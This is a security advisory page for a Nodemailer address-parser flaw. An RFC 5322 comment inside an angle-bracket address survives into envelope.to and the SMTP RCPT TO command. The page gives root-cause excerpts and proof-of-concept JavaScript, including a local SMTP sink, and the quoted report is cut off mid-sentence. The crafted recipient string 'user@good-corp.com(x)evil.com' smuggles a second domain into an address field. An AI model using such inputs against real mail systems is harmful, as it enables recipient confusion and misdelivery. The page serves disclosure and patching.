---
id: "GHSA-g73g-hqqh-jr95"
kind: "vulnerability"
aliases: ["GHSA-g73g-hqqh-jr95"]
title: "Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped"
severity: "medium"
cvss: 5.3
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "nodemailer", "fixed": ["10.0.13"], "affected": ">= 3.0.0, <= 10.0.12", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-20", "cwe-436", "email", "node.js", "nodemailer", "package"]
not_affected_if: ["fixed-recipients", "version-10.0.13-or-later"]
published_at: "2026-10-27T15:04:36+00:00"
first_seen_at: "2026-10-27T15:08:21+00:00"
updated_at: "2026-10-27T15:08:28+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-g73g-hqqh-jr95", "first_seen_at": "2026-10-27T15:08:21+00:00"}]
---

# Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped

Nodemailer's address parser does not strip an RFC 5322 comment placed inside an angle-bracket address, so the parentheses survive into envelope.to and the SMTP RCPT TO command. A strict receiving server rejects the recipient, and a different parser can read a different domain from the same string.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:nodemailer affected >= 3.0.0, <= 10.0.12 fixed 10.0.13

## How to check

- Run `npm ls nodemailer` in the project to find the installed version.
- Check whether any code passes user-supplied recipient strings to `to`, `cc`, `bcc`, `from`, `replyTo` or `envelope` in nodemailer.

## Fix

- Upgrade `nodemailer` to `10.0.13` or later, the fixed version named in the advisory.
- Until upgraded, validate recipient addresses strictly before passing them to nodemailer and reject any containing `(` or `)`.

## Timeline

- 2026-10-27T15:08:21+00:00 ghsa https://github.com/advisories/GHSA-g73g-hqqh-jr95

## From the sources

## Summary

Nodemailer's address parser has three published, patched fixes for RFC 5322 comment `( ... )` handling inside an addr-spec: GHSA-cc9r-2j5m-2m83 (comment glued two domain atoms into one), GHSA-g57g-f23g-4646 (the same glue for a quoted local part), and the related ReDoS fixes GHSA-prgh-xp8r-p3m5 / GHSA-v53p-9fqp-m79j. All three fixes live in `_handleAddress()`'s `joins` / `_recoverAddrSpec()` logic in `src/addressparser/index.ts`, and that logic is exercised whenever the local text-accumulation path in the tokenizer runs.

That logic is **never reached at all** for the single most common way a recipient is written: a display name followed by an angle-bracket address, `Name <local@domain>`. When the input inside the angle brackets itself contains an RFC 5322 comment, e.g.

```
Legit User <user@good-corp.com(x)evil.com>
```

the comment is not recognized as an operator, is not stripped, and the parenthesis characters survive **verbatim** inside the parsed address. That value is used as-is for `envelope.to` and is written raw onto the wire in the `RCPT TO` SMTP command. I confirmed this end to end:

* against nodemailer's own `jsonTransport`/`streamTransport` (`envelope.to` and the emitted `To:` header both carry the malformed value), and
* against a real SMTP server (`aiosmtpd`), where the malformed value is fatal to the transaction (`501 Syntax: RCPT TO: <address> [SP <mail-parameters>]`, all recipients rejected).

This reproduces unmodified on every version I tested from `6.9.16` through the current `10.0.12` HEAD, i.e. it predates and survives all three of the address-parser advisories above unchanged, because it is a different root cause in a code path those fixes never touch.

## Root cause

### 1. The tokenizer has a single-slot operator stack

`src/addressparser/index.ts`, `Tokenizer.checkChar()`:

```ts
} else if (!this.operatorExpecting && !this.inDomainLiteral && chr in this.operators) {
    this.node = { type: 'operator', value: chr };
    this.list.push(this.node);
    this.node = null;
    this.operatorExpecting = this.operators[chr];
    this.escaped = false;
    return;
}
```
(currently around line 670)

`operatorExpecting` is a single string, not a stack. Once `<` opens the address scope, `operatorExpecting` is set to `'>'`. The branch above that recognizes a *new* operator character (such as `(`) is gated on `!this.operatorExpecting`, which is now false. So while inside `<...>`, a `(` is never tokenized as an operator at all — it is just an ordinary character appended to the running text token, together with everything up to the next `>`. The RFC 5322 comment is not recognized, not entered, and not stripped: it rides straight through as literal text.

### 2. The `_handleAddress` state machine loses the `address` state on any operator boundary

`src/addressparser/index.ts`, inside `_handleAddress()` (currently around line 365-388):

```ts
switch (token.value) {
    case '<':
        state = 'address';
        insideQuotes = false;
        break;
    case '(':
        state = 'comment';
        insideQuotes = false;
        break;
    ...
    default:
        state = 'text';
        insideQuotes = false;
        break;
}
```

Even where a comment *is* recognized (outside angle brackets), closing it with `)` falls through to `default` and resets `state` to `'text'`, not back to whatever state was active before the comment opened. This is why the fixed cases (bare address, quoted local part) only work at all: the leaked comment tail lands in the free-`text` bucket, where `_recoverAddrSpec()`/the ADDR_SPEC extraction logic can find and strip it. Inside `<...>`, none of that applies in the first place (point 1), so there is no text-bucket safety net to fall back on — the whole point 1/point 2 interaction is what makes the angle-bracket case categorically different from, and unprotected by, the three existing fixes.

### 3. The one existing safety net requires whitespace, and this value has none

`_recoverAddrSpec()` (currently around line 283) is the function all three prior fixes rely on to peel a clean addr-spec back out of a polluted value. Its very first line is:

```ts
function _recoverAddrSpec(data: { address: string; text: string }): void {
    if (!HAS_WHITESPACE.test(data.address)) {
        return;
    }
    ...
```

`user@good-corp.com(x)evil.com` contains no whitespace at all — the comment content `x` had none, and nothing in the angle-bracket path inserts any — so `_recoverAddrSpec` bails out immediately and never even looks at the value. There is no cleanup path for this shape.

## Proof of Concept

Environment: Node.js, current `master` (commit `30e4cfd5902fd5da4d1bc76dc8e4bc92d288adef`, package.json version `10.0.12`), no special transport configuration required.

### Parser-level confirmation

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser('Legit User <user@good-corp.com(x)evil.com>'));
// [ { address: 'user@good-corp.com(x)evil.com', name: 'Legit User' } ]
```

Compare with the already-fixed, unbracketed form of the exact same bytes:

```js
console.log(addressparser('user@good-corp.com(x)evil.com'));
// [ { address: 'user@good-corp.com', name: 'evil.com' } ]   <- correctly stripped
```

### `sendMail` / envelope confirmation (jsonTransport, no network)

```js
const nodemailer = require('nodemailer');

(async () => {
    const t = nodemailer.createTransport({ jsonTransport: true });
    const info = await t.sendMail({
        from: 'app@good-corp.com',
        to: 'Legit User <user@good-corp.com(x)evil.com>',
        subject: 'hi',
        text: 'x'
    });
    console.log('envelope.to:', info.envelope.to);
})();
```

Observed output:

```
envelope.to: [ 'user@good-corp.com(x)evil.com' ]
```

The raw `streamTransport` message shows the same value in the emitted header:

```
From: app@good-corp.com
To: Legit User <user@good-corp.com(x)evil.com>
Subject: hi
```

### Wire-level confirmation against a real SMTP server

```js
const net = require('net');
const nodemailer = require('nodemailer');

const server = net.createServer(sock => {
    let buf = '';
    sock.write('220 sink ESMTP\r\n');
    sock.on('data', d => {
        buf += d;
        let i;
        while ((i = buf.indexOf('\r\n')) >= 0) {
            const line = buf.slice(0, i);
            buf = buf.slice(i + 2);
            const u = line.toUpperCase();
            if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
            else if (u.startsWith('MAIL')) sock.write('250 ok\r\n');
            else if (u.startsWith('RCPT')) { console.log('wire RCPT TO :', line); sock.write('250 ok\r\n'); }
            else if (u.startsWith('DATA')) sock.write('354 go\r\n');
            else if (line === '.') sock.write('250 ok\r\n');
            else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
            else sock.write('250 ok\r\n');
        }
    });
});

server.listen(0, '127.0.0.1', async () => {
    const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
    const info = await t.sendMail({ from: 'app@good-corp.com', to: 'Legit User <user@good-corp.com(x)evil.com>', subject: 'hi', text: 'x' });
    console.log('envelope.to:', info.envelope.to);
    t.close(); server.close();
});
```

Observed:

```
wire RCPT TO : RCPT TO:<user@good-corp.com(x)evil.com>
envelope.to: [ 'user@good-corp.com(x)evil.com' ]
```

The same recipient string sent at a real, conformant SMTP server (`aiosmtpd`, a widely used reference-grade Python SMTP implementation) instead of the sink above:

```
Error: Can't send mail - all recipients were rejected: 501 Syntax: RCPT TO: <address> [SP <mail-parameters>]
code: 'EENVELOPE', responseCode: 501, command: 'RCPT TO',
rejected: [ 'user@good-corp.com(x)evil.com' ]
```

So against a strict receiver the immediate, concretely demonstrated outcome is that the message is bounced: an ordinary-looking recipient address

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
